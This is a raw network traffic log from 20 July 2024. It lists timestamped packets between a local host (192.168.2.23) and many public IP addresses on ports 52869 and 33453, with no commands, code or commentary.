Jul 20, 2024 23:00:56.773433924 CEST	52869	33453	139.37.94.236	192.168.2.23
Jul 20, 2024 23:00:56.773448944 CEST	52869	33453	25.222.87.118	192.168.2.23
Jul 20, 2024 23:00:56.773463964 CEST	52869	33453	208.190.62.115	192.168.2.23
Jul 20, 2024 23:00:56.773478985 CEST	52869	33453	146.210.17.240	192.168.2.23
Jul 20, 2024 23:00:56.773494005 CEST	52869	33453	78.39.181.117	192.168.2.23
Jul 20, 2024 23:00:56.773509979 CEST	52869	33453	57.92.179.211	192.168.2.23
Jul 20, 2024 23:00:56.773525000 CEST	52869	33453	152.136.236.137	192.168.2.23
Jul 20, 2024 23:00:56.773540020 CEST	52869	33453	166.7.60.196	192.168.2.23
Jul 20, 2024 23:00:56.773554087 CEST	52869	33453	86.74.227.91	192.168.2.23
Jul 20, 2024 23:00:56.773569107 CEST	52869	33453	46.176.142.26	192.168.2.23
Jul 20, 2024 23:00:56.773583889 CEST	52869	33453	34.184.40.220	192.168.2.23
Jul 20, 2024 23:00:56.773597956 CEST	52869	33453	177.27.5.34	192.168.2.23
Jul 20, 2024 23:00:56.773612976 CEST	52869	33453	80.176.127.107	192.168.2.23
Jul 20, 2024 23:00:56.773627043 CEST	52869	33453	223.83.213.222	192.168.2.23
Jul 20, 2024 23:00:56.773642063 CEST	52869	33453	216.151.5.50	192.168.2.23
Jul 20, 2024 23:00:56.773657084 CEST	52869	33453	37.189.124.248	192.168.2.23
Jul 20, 2024 23:00:56.773670912 CEST	52869	33453	64.86.139.164	192.168.2.23
Jul 20, 2024 23:00:56.773685932 CEST	52869	33453	148.211.13.100	192.168.2.23
Jul 20, 2024 23:00:56.773700953 CEST	52869	33453	205.45.42.138	192.168.2.23
Jul 20, 2024 23:00:56.773716927 CEST	52869	33453	77.76.243.3	192.168.2.23
Jul 20, 2024 23:00:56.773734093 CEST	52869	33453	9.134.98.50	192.168.2.23
Jul 20, 2024 23:00:56.773750067 CEST	52869	33453	78.200.30.164	192.168.2.23
Jul 20, 2024 23:00:56.773766041 CEST	52869	33453	134.167.171.74	192.168.2.23
Jul 20, 2024 23:00:56.773782015 CEST	52869	33453	129.27.232.7	192.168.2.23
Jul 20, 2024 23:00:56.773797989 CEST	52869	33453	40.55.203.85	192.168.2.23
Jul 20, 2024 23:00:56.773813009 CEST	52869	33453	91.10.179.128	192.168.2.23
Jul 20, 2024 23:00:56.773827076 CEST	52869	33453	207.112.16.238	192.168.2.23
Jul 20, 2024 23:00:56.773840904 CEST	52869	33453	12.208.124.228	192.168.2.23
Jul 20, 2024 23:00:56.773855925 CEST	52869	33453	132.102.141.171	192.168.2.23
Jul 20, 2024 23:00:56.773870945 CEST	52869	33453	205.187.52.139	192.168.2.23
Jul 20, 2024 23:00:56.773885965 CEST	52869	33453	140.186.145.164	192.168.2.23
Jul 20, 2024 23:00:56.773900032 CEST	52869	33453	60.99.150.220	192.168.2.23
Jul 20, 2024 23:00:56.773915052 CEST	52869	33453	103.18.195.93	192.168.2.23
Jul 20, 2024 23:00:56.773930073 CEST	52869	33453	209.154.77.145	192.168.2.23
Jul 20, 2024 23:00:56.773943901 CEST	52869	33453	57.224.40.86	192.168.2.23
Jul 20, 2024 23:00:56.773960114 CEST	52869	33453	13.188.89.36	192.168.2.23
Jul 20, 2024 23:00:56.773977041 CEST	52869	33453	128.89.159.185	192.168.2.23
Jul 20, 2024 23:00:56.773993969 CEST	52869	33453	212.172.247.72	192.168.2.23
Jul 20, 2024 23:00:56.774008989 CEST	52869	33453	162.162.162.31	192.168.2.23
Jul 20, 2024 23:00:56.774025917 CEST	52869	33453	24.106.184.126	192.168.2.23
Jul 20, 2024 23:00:56.774040937 CEST	52869	33453	111.252.253.89	192.168.2.23
Jul 20, 2024 23:00:56.774055958 CEST	52869	33453	184.77.18.239	192.168.2.23
Jul 20, 2024 23:00:56.774070978 CEST	52869	33453	65.114.239.111	192.168.2.23
Jul 20, 2024 23:00:56.774085999 CEST	52869	33453	223.193.169.99	192.168.2.23
Jul 20, 2024 23:00:56.774100065 CEST	52869	33453	150.181.42.248	192.168.2.23
Jul 20, 2024 23:00:56.774115086 CEST	52869	33453	206.248.87.37	192.168.2.23
Jul 20, 2024 23:00:56.774118900 CEST	33453	52869	192.168.2.23	8.98.158.174
Jul 20, 2024 23:00:56.774118900 CEST	33453	52869	192.168.2.23	219.105.54.148
Jul 20, 2024 23:00:56.774118900 CEST	33453	52869	192.168.2.23	104.55.221.40
Jul 20, 2024 23:00:56.774118900 CEST	33453	52869	192.168.2.23	112.103.96.49
Jul 20, 2024 23:00:56.774118900 CEST	33453	52869	192.168.2.23	187.26.13.206
Jul 20, 2024 23:00:56.774118900 CEST	33453	52869	192.168.2.23	209.101.108.92
Jul 20, 2024 23:00:56.774120092 CEST	33453	52869	192.168.2.23	74.116.148.181
Jul 20, 2024 23:00:56.774120092 CEST	33453	52869	192.168.2.23	114.190.123.93
Jul 20, 2024 23:00:56.774130106 CEST	52869	33453	124.254.84.115	192.168.2.23
Jul 20, 2024 23:00:56.774146080 CEST	52869	33453	75.16.13.92	192.168.2.23
Jul 20, 2024 23:00:56.774161100 CEST	52869	33453	175.24.153.194	192.168.2.23
Jul 20, 2024 23:00:56.774174929 CEST	52869	33453	201.250.207.152	192.168.2.23
Jul 20, 2024 23:00:56.774190903 CEST	52869	33453	218.228.206.146	192.168.2.23
Jul 20, 2024 23:00:56.774204969 CEST	52869	33453	93.10.103.253	192.168.2.23
Jul 20, 2024 23:00:56.774219990 CEST	52869	33453	120.98.109.98	192.168.2.23
Jul 20, 2024 23:00:56.774234056 CEST	52869	33453	109.115.27.6	192.168.2.23
Jul 20, 2024 23:00:56.774249077 CEST	52869	33453	57.179.102.199	192.168.2.23
Jul 20, 2024 23:00:56.774264097 CEST	52869	33453	186.129.229.179	192.168.2.23
Jul 20, 2024 23:00:56.774279118 CEST	52869	33453	186.40.176.32	192.168.2.23
Jul 20, 2024 23:00:56.774293900 CEST	52869	33453	172.97.184.195	192.168.2.23
Jul 20, 2024 23:00:56.774308920 CEST	52869	33453	117.76.49.30	192.168.2.23
Jul 20, 2024 23:00:56.774326086 CEST	52869	33453	167.134.108.32	192.168.2.23
Jul 20, 2024 23:00:56.774343014 CEST	52869	33453	123.31.253.14	192.168.2.23
Jul 20, 2024 23:00:56.774358034 CEST	52869	33453	91.233.41.28	192.168.2.23
Jul 20, 2024 23:00:56.774373055 CEST	52869	33453	87.137.214.123	192.168.2.23
Jul 20, 2024 23:00:56.774388075 CEST	52869	33453	155.161.137.123	192.168.2.23
Jul 20, 2024 23:00:56.774403095 CEST	52869	33453	107.208.110.238	192.168.2.23
Jul 20, 2024 23:00:56.774420977 CEST	52869	33453	104.75.200.235	192.168.2.23
Jul 20, 2024 23:00:56.774435997 CEST	52869	33453	185.31.200.232	192.168.2.23
Jul 20, 2024 23:00:56.774450064 CEST	52869	33453	147.69.83.159	192.168.2.23
Jul 20, 2024 23:00:56.774465084 CEST	52869	33453	164.236.243.93	192.168.2.23
Jul 20, 2024 23:00:56.774478912 CEST	52869	33453	170.225.184.185	192.168.2.23
Jul 20, 2024 23:00:56.774493933 CEST	52869	33453	153.94.71.254	192.168.2.23
Jul 20, 2024 23:00:56.774507999 CEST	52869	33453	86.219.42.227	192.168.2.23
Jul 20, 2024 23:00:56.774523020 CEST	52869	33453	43.227.14.32	192.168.2.23
Jul 20, 2024 23:00:56.774537086 CEST	52869	33453	154.97.74.140	192.168.2.23
Jul 20, 2024 23:00:56.774552107 CEST	52869	33453	68.46.168.107	192.168.2.23
Jul 20, 2024 23:00:56.774565935 CEST	52869	33453	119.8.134.128	192.168.2.23
Jul 20, 2024 23:00:56.774580956 CEST	52869	33453	151.194.118.37	192.168.2.23
Jul 20, 2024 23:00:56.774708033 CEST	33453	52869	192.168.2.23	179.69.185.54
Jul 20, 2024 23:00:56.774708033 CEST	33453	52869	192.168.2.23	57.238.29.59
Jul 20, 2024 23:00:56.774708033 CEST	33453	52869	192.168.2.23	203.251.130.24
Jul 20, 2024 23:00:56.774708033 CEST	33453	52869	192.168.2.23	74.121.38.207
Jul 20, 2024 23:00:56.774708033 CEST	33453	52869	192.168.2.23	160.40.123.49
Jul 20, 2024 23:00:56.774708033 CEST	33453	52869	192.168.2.23	81.251.201.243
Jul 20, 2024 23:00:56.774708033 CEST	33453	52869	192.168.2.23	148.19.201.55
Jul 20, 2024 23:00:56.774708033 CEST	33453	52869	192.168.2.23	65.101.123.198
Jul 20, 2024 23:00:56.774836063 CEST	33453	52869	192.168.2.23	125.76.171.252
Jul 20, 2024 23:00:56.774836063 CEST	33453	52869	192.168.2.23	142.52.69.246
Jul 20, 2024 23:00:56.774836063 CEST	33453	52869	192.168.2.23	154.11.34.104
Jul 20, 2024 23:00:56.774836063 CEST	33453	52869	192.168.2.23	132.198.221.150
Jul 20, 2024 23:00:56.774836063 CEST	33453	52869	192.168.2.23	58.30.6.229
Jul 20, 2024 23:00:56.774836063 CEST	33453	52869	192.168.2.23	147.61.50.49
Jul 20, 2024 23:00:56.774836063 CEST	33453	52869	192.168.2.23	211.130.231.62
Jul 20, 2024 23:00:56.774836063 CEST	33453	52869	192.168.2.23	70.225.119.3
Jul 20, 2024 23:00:56.775274992 CEST	33453	52869	192.168.2.23	67.128.244.178
Jul 20, 2024 23:00:56.775274992 CEST	33453	52869	192.168.2.23	71.254.240.118
Jul 20, 2024 23:00:56.775274992 CEST	33453	52869	192.168.2.23	67.7.192.95
Jul 20, 2024 23:00:56.775274992 CEST	33453	52869	192.168.2.23	43.91.38.163
Jul 20, 2024 23:00:56.775274992 CEST	33453	52869	192.168.2.23	179.205.56.53
Jul 20, 2024 23:00:56.775274992 CEST	33453	52869	192.168.2.23	27.166.196.109
Jul 20, 2024 23:00:56.775274992 CEST	33453	52869	192.168.2.23	172.3.173.126
Jul 20, 2024 23:00:56.775274992 CEST	33453	52869	192.168.2.23	104.216.61.7
Jul 20, 2024 23:00:56.775518894 CEST	33453	52869	192.168.2.23	196.0.98.90
Jul 20, 2024 23:00:56.775518894 CEST	33453	52869	192.168.2.23	114.20.70.247
Jul 20, 2024 23:00:56.775518894 CEST	33453	52869	192.168.2.23	203.236.42.147
Jul 20, 2024 23:00:56.775518894 CEST	33453	52869	192.168.2.23	97.69.175.230
Jul 20, 2024 23:00:56.775518894 CEST	33453	52869	192.168.2.23	47.10.251.72
Jul 20, 2024 23:00:56.775518894 CEST	33453	52869	192.168.2.23	129.194.41.40
Jul 20, 2024 23:00:56.775518894 CEST	33453	52869	192.168.2.23	169.107.25.12
Jul 20, 2024 23:00:56.775518894 CEST	33453	52869	192.168.2.23	132.182.11.252
Jul 20, 2024 23:00:56.776693106 CEST	33453	52869	192.168.2.23	4.76.224.238
Jul 20, 2024 23:00:56.776694059 CEST	33453	52869	192.168.2.23	134.89.58.180
Jul 20, 2024 23:00:56.776694059 CEST	33453	52869	192.168.2.23	17.113.8.126
Jul 20, 2024 23:00:56.776694059 CEST	33453	52869	192.168.2.23	45.81.243.55
Jul 20, 2024 23:00:56.776694059 CEST	33453	52869	192.168.2.23	24.16.249.119
Jul 20, 2024 23:00:56.776694059 CEST	33453	52869	192.168.2.23	14.56.224.250
Jul 20, 2024 23:00:56.776694059 CEST	33453	52869	192.168.2.23	111.120.6.195
Jul 20, 2024 23:00:56.776694059 CEST	33453	52869	192.168.2.23	53.172.133.29
Jul 20, 2024 23:00:56.776999950 CEST	33453	52869	192.168.2.23	62.90.39.173
Jul 20, 2024 23:00:56.776999950 CEST	33453	52869	192.168.2.23	2.32.130.76
Jul 20, 2024 23:00:56.776999950 CEST	33453	52869	192.168.2.23	104.152.150.214
Jul 20, 2024 23:00:56.776999950 CEST	33453	52869	192.168.2.23	205.29.56.156
Jul 20, 2024 23:00:56.776999950 CEST	33453	52869	192.168.2.23	84.150.128.0
Jul 20, 2024 23:00:56.776999950 CEST	33453	52869	192.168.2.23	107.75.193.125
Jul 20, 2024 23:00:56.776999950 CEST	33453	52869	192.168.2.23	150.171.160.226
Jul 20, 2024 23:00:56.777000904 CEST	33453	52869	192.168.2.23	195.64.245.14
Jul 20, 2024 23:00:56.777152061 CEST	33453	52869	192.168.2.23	170.64.72.13
Jul 20, 2024 23:00:56.777152061 CEST	33453	52869	192.168.2.23	69.71.161.160
Jul 20, 2024 23:00:56.777152061 CEST	33453	52869	192.168.2.23	163.67.4.87
Jul 20, 2024 23:00:56.777152061 CEST	33453	52869	192.168.2.23	205.83.242.63
Jul 20, 2024 23:00:56.777152061 CEST	33453	52869	192.168.2.23	109.222.42.16
Jul 20, 2024 23:00:56.777152061 CEST	33453	52869	192.168.2.23	179.212.46.232
Jul 20, 2024 23:00:56.777152061 CEST	33453	52869	192.168.2.23	146.52.202.172
Jul 20, 2024 23:00:56.777152061 CEST	33453	52869	192.168.2.23	49.93.141.76
Jul 20, 2024 23:00:56.777308941 CEST	33453	52869	192.168.2.23	170.84.59.241
Jul 20, 2024 23:00:56.777308941 CEST	33453	52869	192.168.2.23	5.61.211.49
Jul 20, 2024 23:00:56.777308941 CEST	33453	52869	192.168.2.23	123.49.75.211
Jul 20, 2024 23:00:56.777308941 CEST	33453	52869	192.168.2.23	113.96.55.65
Jul 20, 2024 23:00:56.777308941 CEST	33453	52869	192.168.2.23	178.197.107.190
Jul 20, 2024 23:00:56.777308941 CEST	33453	52869	192.168.2.23	20.96.146.124
Jul 20, 2024 23:00:56.777308941 CEST	33453	52869	192.168.2.23	132.113.228.25
Jul 20, 2024 23:00:56.777308941 CEST	33453	52869	192.168.2.23	182.22.206.214
Jul 20, 2024 23:00:56.777739048 CEST	33453	52869	192.168.2.23	58.74.148.95
Jul 20, 2024 23:00:56.777739048 CEST	33453	52869	192.168.2.23	53.10.119.110
Jul 20, 2024 23:00:56.777739048 CEST	33453	52869	192.168.2.23	152.90.112.51
Jul 20, 2024 23:00:56.777740002 CEST	33453	52869	192.168.2.23	13.21.178.206
Jul 20, 2024 23:00:56.777740002 CEST	33453	52869	192.168.2.23	211.14.73.80
Jul 20, 2024 23:00:56.777740002 CEST	33453	52869	192.168.2.23	92.162.129.76
Jul 20, 2024 23:00:56.777740002 CEST	33453	52869	192.168.2.23	114.180.89.73
Jul 20, 2024 23:00:56.777740002 CEST	33453	52869	192.168.2.23	58.187.153.16
Jul 20, 2024 23:00:56.777918100 CEST	33453	52869	192.168.2.23	218.185.172.90
Jul 20, 2024 23:00:56.777918100 CEST	33453	52869	192.168.2.23	63.80.178.96
Jul 20, 2024 23:00:56.777918100 CEST	33453	52869	192.168.2.23	38.158.187.83
Jul 20, 2024 23:00:56.777918100 CEST	33453	52869	192.168.2.23	162.117.132.232
Jul 20, 2024 23:00:56.777918100 CEST	33453	52869	192.168.2.23	4.72.134.93
Jul 20, 2024 23:00:56.777918100 CEST	33453	52869	192.168.2.23	78.39.181.117
Jul 20, 2024 23:00:56.777918100 CEST	33453	52869	192.168.2.23	216.151.5.50
Jul 20, 2024 23:00:56.777918100 CEST	33453	52869	192.168.2.23	148.211.13.100
Jul 20, 2024 23:00:56.778141975 CEST	52869	33453	135.110.213.163	192.168.2.23
Jul 20, 2024 23:00:56.778158903 CEST	52869	33453	159.70.111.204	192.168.2.23
Jul 20, 2024 23:00:56.778173923 CEST	52869	33453	44.181.179.103	192.168.2.23
Jul 20, 2024 23:00:56.778187990 CEST	52869	33453	139.21.143.158	192.168.2.23
Jul 20, 2024 23:00:56.778203964 CEST	52869	33453	65.136.207.183	192.168.2.23
Jul 20, 2024 23:00:56.778218031 CEST	52869	33453	115.225.187.157	192.168.2.23
Jul 20, 2024 23:00:56.778234005 CEST	52869	33453	99.2.133.89	192.168.2.23
Jul 20, 2024 23:00:56.778249025 CEST	52869	33453	23.225.3.54	192.168.2.23
Jul 20, 2024 23:00:56.778264046 CEST	52869	33453	168.229.219.185	192.168.2.23
Jul 20, 2024 23:00:56.778280020 CEST	52869	33453	111.160.194.136	192.168.2.23
Jul 20, 2024 23:00:56.778294086 CEST	52869	33453	219.114.72.114	192.168.2.23
Jul 20, 2024 23:00:56.778309107 CEST	52869	33453	164.251.43.137	192.168.2.23
Jul 20, 2024 23:00:56.778323889 CEST	52869	33453	27.181.35.71	192.168.2.23
Jul 20, 2024 23:00:56.778340101 CEST	52869	33453	180.155.132.167	192.168.2.23
Jul 20, 2024 23:00:56.778356075 CEST	52869	33453	103.179.244.2	192.168.2.23
Jul 20, 2024 23:00:56.778369904 CEST	52869	33453	216.207.228.137	192.168.2.23
Jul 20, 2024 23:00:56.778386116 CEST	52869	33453	60.208.170.61	192.168.2.23
Jul 20, 2024 23:00:56.778400898 CEST	52869	33453	4.114.3.131	192.168.2.23
Jul 20, 2024 23:00:56.778414965 CEST	52869	33453	141.31.223.242	192.168.2.23
Jul 20, 2024 23:00:56.778431892 CEST	52869	33453	58.116.31.11	192.168.2.23
Jul 20, 2024 23:00:56.778446913 CEST	52869	33453	105.183.167.212	192.168.2.23
Jul 20, 2024 23:00:56.778460979 CEST	52869	33453	70.148.71.209	192.168.2.23
Jul 20, 2024 23:00:56.778476000 CEST	52869	33453	5.53.123.92	192.168.2.23
Jul 20, 2024 23:00:56.778501987 CEST	52869	33453	130.190.148.15	192.168.2.23
Jul 20, 2024 23:00:56.778520107 CEST	52869	33453	133.46.67.74	192.168.2.23
Jul 20, 2024 23:00:56.778533936 CEST	52869	33453	174.56.72.194	192.168.2.23
Jul 20, 2024 23:00:56.778548956 CEST	52869	33453	44.188.193.15	192.168.2.23
Jul 20, 2024 23:00:56.778563976 CEST	52869	33453	167.190.71.17	192.168.2.23
Jul 20, 2024 23:00:56.778578997 CEST	52869	33453	25.174.179.115	192.168.2.23
Jul 20, 2024 23:00:56.778594017 CEST	52869	33453	19.228.54.138	192.168.2.23
Jul 20, 2024 23:00:56.778597116 CEST	33453	52869	192.168.2.23	208.190.62.115
Jul 20, 2024 23:00:56.778597116 CEST	33453	52869	192.168.2.23	57.92.179.211
Jul 20, 2024 23:00:56.778597116 CEST	33453	52869	192.168.2.23	86.74.227.91
Jul 20, 2024 23:00:56.778598070 CEST	33453	52869	192.168.2.23	223.83.213.222
Jul 20, 2024 23:00:56.778598070 CEST	33453	52869	192.168.2.23	37.189.124.248
Jul 20, 2024 23:00:56.778598070 CEST	33453	52869	192.168.2.23	205.45.42.138
Jul 20, 2024 23:00:56.778598070 CEST	33453	52869	192.168.2.23	9.134.98.50
Jul 20, 2024 23:00:56.778598070 CEST	33453	52869	192.168.2.23	129.27.232.7
Jul 20, 2024 23:00:56.778609991 CEST	52869	33453	141.204.146.101	192.168.2.23
Jul 20, 2024 23:00:56.778625011 CEST	52869	33453	147.145.136.53	192.168.2.23
Jul 20, 2024 23:00:56.778640032 CEST	52869	33453	47.65.72.63	192.168.2.23
Jul 20, 2024 23:00:56.778654099 CEST	52869	33453	120.229.223.182	192.168.2.23
Jul 20, 2024 23:00:56.778670073 CEST	52869	33453	54.110.88.191	192.168.2.23
Jul 20, 2024 23:00:56.778683901 CEST	52869	33453	97.235.133.177	192.168.2.23
Jul 20, 2024 23:00:56.778698921 CEST	52869	33453	106.248.98.2	192.168.2.23
Jul 20, 2024 23:00:56.778713942 CEST	52869	33453	143.25.27.255	192.168.2.23
Jul 20, 2024 23:00:56.778728008 CEST	52869	33453	155.218.125.209	192.168.2.23
Jul 20, 2024 23:00:56.778743029 CEST	52869	33453	85.29.15.167	192.168.2.23
Jul 20, 2024 23:00:56.778757095 CEST	52869	33453	183.62.49.146	192.168.2.23
Jul 20, 2024 23:00:56.778773069 CEST	52869	33453	199.148.201.175	192.168.2.23
Jul 20, 2024 23:00:56.778788090 CEST	52869	33453	151.105.216.154	192.168.2.23
Jul 20, 2024 23:00:56.778801918 CEST	52869	33453	71.0.169.127	192.168.2.23
Jul 20, 2024 23:00:56.778816938 CEST	52869	33453	191.110.132.103	192.168.2.23
Jul 20, 2024 23:00:56.778831005 CEST	52869	33453	8.185.133.62	192.168.2.23
Jul 20, 2024 23:00:56.778846979 CEST	52869	33453	208.249.213.138	192.168.2.23
Jul 20, 2024 23:00:56.778863907 CEST	52869	33453	49.129.212.65	192.168.2.23
Jul 20, 2024 23:00:56.778877974 CEST	52869	33453	190.210.172.139	192.168.2.23
Jul 20, 2024 23:00:56.778892994 CEST	52869	33453	219.171.37.52	192.168.2.23
Jul 20, 2024 23:00:56.778908014 CEST	52869	33453	156.230.108.50	192.168.2.23
Jul 20, 2024 23:00:56.778922081 CEST	52869	33453	12.167.30.124	192.168.2.23
Jul 20, 2024 23:00:56.778938055 CEST	52869	33453	48.250.49.63	192.168.2.23
Jul 20, 2024 23:00:56.778953075 CEST	52869	33453	169.234.116.220	192.168.2.23
Jul 20, 2024 23:00:56.778968096 CEST	52869	33453	51.239.69.95	192.168.2.23
Jul 20, 2024 23:00:56.778984070 CEST	52869	33453	158.128.170.22	192.168.2.23
Jul 20, 2024 23:00:56.778999090 CEST	52869	33453	142.151.185.125	192.168.2.23
Jul 20, 2024 23:00:56.779014111 CEST	52869	33453	221.58.140.137	192.168.2.23
Jul 20, 2024 23:00:56.779027939 CEST	52869	33453	94.222.99.15	192.168.2.23
Jul 20, 2024 23:00:56.779042959 CEST	52869	33453	157.181.146.240	192.168.2.23
Jul 20, 2024 23:00:56.779057980 CEST	52869	33453	219.98.173.195	192.168.2.23
Jul 20, 2024 23:00:56.779072046 CEST	52869	33453	82.50.208.202	192.168.2.23
Jul 20, 2024 23:00:56.779087067 CEST	52869	33453	66.232.135.107	192.168.2.23
Jul 20, 2024 23:00:56.779100895 CEST	52869	33453	142.189.253.190	192.168.2.23
Jul 20, 2024 23:00:56.779115915 CEST	52869	33453	192.176.229.93	192.168.2.23
Jul 20, 2024 23:00:56.779129982 CEST	52869	33453	62.55.64.143	192.168.2.23
Jul 20, 2024 23:00:56.779145002 CEST	52869	33453	19.254.84.163	192.168.2.23
Jul 20, 2024 23:00:56.779160023 CEST	52869	33453	141.147.150.132	192.168.2.23
Jul 20, 2024 23:00:56.779175043 CEST	52869	33453	210.202.78.111	192.168.2.23
Jul 20, 2024 23:00:56.779191017 CEST	52869	33453	37.248.83.223	192.168.2.23
Jul 20, 2024 23:00:56.779201031 CEST	33453	52869	192.168.2.23	73.82.39.70
Jul 20, 2024 23:00:56.779201031 CEST	33453	52869	192.168.2.23	154.55.40.7
Jul 20, 2024 23:00:56.779201031 CEST	33453	52869	192.168.2.23	212.114.230.189
Jul 20, 2024 23:00:56.779201031 CEST	33453	52869	192.168.2.23	82.63.31.170
Jul 20, 2024 23:00:56.779201031 CEST	33453	52869	192.168.2.23	172.95.79.32
Jul 20, 2024 23:00:56.779201031 CEST	33453	52869	192.168.2.23	218.167.11.188
Jul 20, 2024 23:00:56.779201031 CEST	33453	52869	192.168.2.23	137.195.128.162
Jul 20, 2024 23:00:56.779201031 CEST	33453	52869	192.168.2.23	75.207.187.133
Jul 20, 2024 23:00:56.779208899 CEST	52869	33453	120.131.114.209	192.168.2.23
Jul 20, 2024 23:00:56.779223919 CEST	52869	33453	220.70.84.75	192.168.2.23
Jul 20, 2024 23:00:56.779238939 CEST	52869	33453	104.199.169.136	192.168.2.23
Jul 20, 2024 23:00:56.779253006 CEST	52869	33453	40.237.199.171	192.168.2.23
Jul 20, 2024 23:00:56.779268980 CEST	52869	33453	161.172.237.181	192.168.2.23
Jul 20, 2024 23:00:56.779284000 CEST	52869	33453	71.156.248.170	192.168.2.23
Jul 20, 2024 23:00:56.779299021 CEST	52869	33453	212.133.252.249	192.168.2.23
Jul 20, 2024 23:00:56.779313087 CEST	52869	33453	192.133.145.182	192.168.2.23
Jul 20, 2024 23:00:56.779328108 CEST	52869	33453	146.134.162.62	192.168.2.23
Jul 20, 2024 23:00:56.780067921 CEST	33453	52869	192.168.2.23	77.76.243.3
Jul 20, 2024 23:00:56.780067921 CEST	33453	52869	192.168.2.23	134.167.171.74
Jul 20, 2024 23:00:56.780067921 CEST	33453	52869	192.168.2.23	91.10.179.128
Jul 20, 2024 23:00:56.780067921 CEST	33453	52869	192.168.2.23	205.187.52.139
Jul 20, 2024 23:00:56.780067921 CEST	33453	52869	192.168.2.23	60.99.150.220
Jul 20, 2024 23:00:56.780067921 CEST	33453	52869	192.168.2.23	209.154.77.145
Jul 20, 2024 23:00:56.780067921 CEST	33453	52869	192.168.2.23	162.162.162.31
Jul 20, 2024 23:00:56.780067921 CEST	33453	52869	192.168.2.23	223.193.169.99
Jul 20, 2024 23:00:56.780186892 CEST	33453	52869	192.168.2.23	140.186.145.164
Jul 20, 2024 23:00:56.780186892 CEST	33453	52869	192.168.2.23	57.224.40.86
Jul 20, 2024 23:00:56.780186892 CEST	33453	52869	192.168.2.23	212.172.247.72
Jul 20, 2024 23:00:56.780186892 CEST	33453	52869	192.168.2.23	24.106.184.126
Jul 20, 2024 23:00:56.780186892 CEST	33453	52869	192.168.2.23	124.254.84.115
Jul 20, 2024 23:00:56.780188084 CEST	33453	52869	192.168.2.23	175.24.153.194
Jul 20, 2024 23:00:56.780188084 CEST	33453	52869	192.168.2.23	218.228.206.146
Jul 20, 2024 23:00:56.780188084 CEST	33453	52869	192.168.2.23	109.115.27.6
Jul 20, 2024 23:00:56.781059027 CEST	33453	52869	192.168.2.23	113.150.8.20
Jul 20, 2024 23:00:56.781059027 CEST	33453	52869	192.168.2.23	119.111.170.111
Jul 20, 2024 23:00:56.781059027 CEST	33453	52869	192.168.2.23	36.78.212.103
Jul 20, 2024 23:00:56.781059027 CEST	33453	52869	192.168.2.23	27.153.103.145
Jul 20, 2024 23:00:56.781059027 CEST	33453	52869	192.168.2.23	174.197.238.28
Jul 20, 2024 23:00:56.781059027 CEST	33453	52869	192.168.2.23	1.253.144.33
Jul 20, 2024 23:00:56.781059027 CEST	33453	52869	192.168.2.23	129.221.27.3
Jul 20, 2024 23:00:56.781059027 CEST	33453	52869	192.168.2.23	159.144.9.230
Jul 20, 2024 23:00:56.781100988 CEST	33453	52869	192.168.2.23	142.34.184.106
Jul 20, 2024 23:00:56.781100988 CEST	33453	52869	192.168.2.23	190.3.185.248
Jul 20, 2024 23:00:56.781100988 CEST	33453	52869	192.168.2.23	196.26.250.145
Jul 20, 2024 23:00:56.781100988 CEST	33453	52869	192.168.2.23	1.79.229.162
Jul 20, 2024 23:00:56.781100988 CEST	33453	52869	192.168.2.23	150.140.115.237
Jul 20, 2024 23:00:56.781100988 CEST	33453	52869	192.168.2.23	73.241.49.233
Jul 20, 2024 23:00:56.781100988 CEST	33453	52869	192.168.2.23	192.28.102.96
Jul 20, 2024 23:00:56.781100988 CEST	33453	52869	192.168.2.23	170.172.36.22
Jul 20, 2024 23:00:56.781653881 CEST	33453	52869	192.168.2.23	45.158.122.120
Jul 20, 2024 23:00:56.781653881 CEST	33453	52869	192.168.2.23	130.136.141.197
Jul 20, 2024 23:00:56.781653881 CEST	33453	52869	192.168.2.23	38.47.147.236
Jul 20, 2024 23:00:56.781653881 CEST	33453	52869	192.168.2.23	168.54.72.251
Jul 20, 2024 23:00:56.781653881 CEST	33453	52869	192.168.2.23	104.178.230.186
Jul 20, 2024 23:00:56.781653881 CEST	33453	52869	192.168.2.23	201.173.108.254
Jul 20, 2024 23:00:56.781653881 CEST	33453	52869	192.168.2.23	25.108.103.192
Jul 20, 2024 23:00:56.781653881 CEST	33453	52869	192.168.2.23	186.94.179.5
Jul 20, 2024 23:00:56.782372952 CEST	33453	52869	192.168.2.23	92.211.102.55
Jul 20, 2024 23:00:56.782372952 CEST	33453	52869	192.168.2.23	34.47.174.29
Jul 20, 2024 23:00:56.782372952 CEST	33453	52869	192.168.2.23	148.5.137.148
Jul 20, 2024 23:00:56.782373905 CEST	33453	52869	192.168.2.23	125.1.121.176
Jul 20, 2024 23:00:56.782373905 CEST	33453	52869	192.168.2.23	113.109.249.191
Jul 20, 2024 23:00:56.782373905 CEST	33453	52869	192.168.2.23	174.33.178.96
Jul 20, 2024 23:00:56.782373905 CEST	33453	52869	192.168.2.23	154.55.15.143
Jul 20, 2024 23:00:56.782373905 CEST	33453	52869	192.168.2.23	78.12.26.89
Jul 20, 2024 23:00:56.782669067 CEST	33453	52869	192.168.2.23	82.208.56.11
Jul 20, 2024 23:00:56.782669067 CEST	33453	52869	192.168.2.23	69.213.159.108
Jul 20, 2024 23:00:56.782669067 CEST	33453	52869	192.168.2.23	159.138.61.45
Jul 20, 2024 23:00:56.782669067 CEST	33453	52869	192.168.2.23	174.34.249.225
Jul 20, 2024 23:00:56.782669067 CEST	33453	52869	192.168.2.23	171.24.183.17
Jul 20, 2024 23:00:56.782669067 CEST	33453	52869	192.168.2.23	106.17.68.31
Jul 20, 2024 23:00:56.782669067 CEST	33453	52869	192.168.2.23	111.101.192.140
Jul 20, 2024 23:00:56.782669067 CEST	33453	52869	192.168.2.23	88.141.60.34
Jul 20, 2024 23:00:56.782834053 CEST	52869	33453	31.80.229.91	192.168.2.23
Jul 20, 2024 23:00:56.782854080 CEST	52869	33453	24.48.255.182	192.168.2.23
Jul 20, 2024 23:00:56.782867908 CEST	52869	33453	136.185.52.29	192.168.2.23
Jul 20, 2024 23:00:56.782883883 CEST	52869	33453	97.233.70.242	192.168.2.23
Jul 20, 2024 23:00:56.782893896 CEST	33453	52869	192.168.2.23	206.248.87.37
Jul 20, 2024 23:00:56.782893896 CEST	33453	52869	192.168.2.23	75.16.13.92
Jul 20, 2024 23:00:56.782893896 CEST	33453	52869	192.168.2.23	201.250.207.152
Jul 20, 2024 23:00:56.782893896 CEST	33453	52869	192.168.2.23	57.179.102.199
Jul 20, 2024 23:00:56.782893896 CEST	33453	52869	192.168.2.23	117.76.49.30
Jul 20, 2024 23:00:56.782893896 CEST	33453	52869	192.168.2.23	123.31.253.14
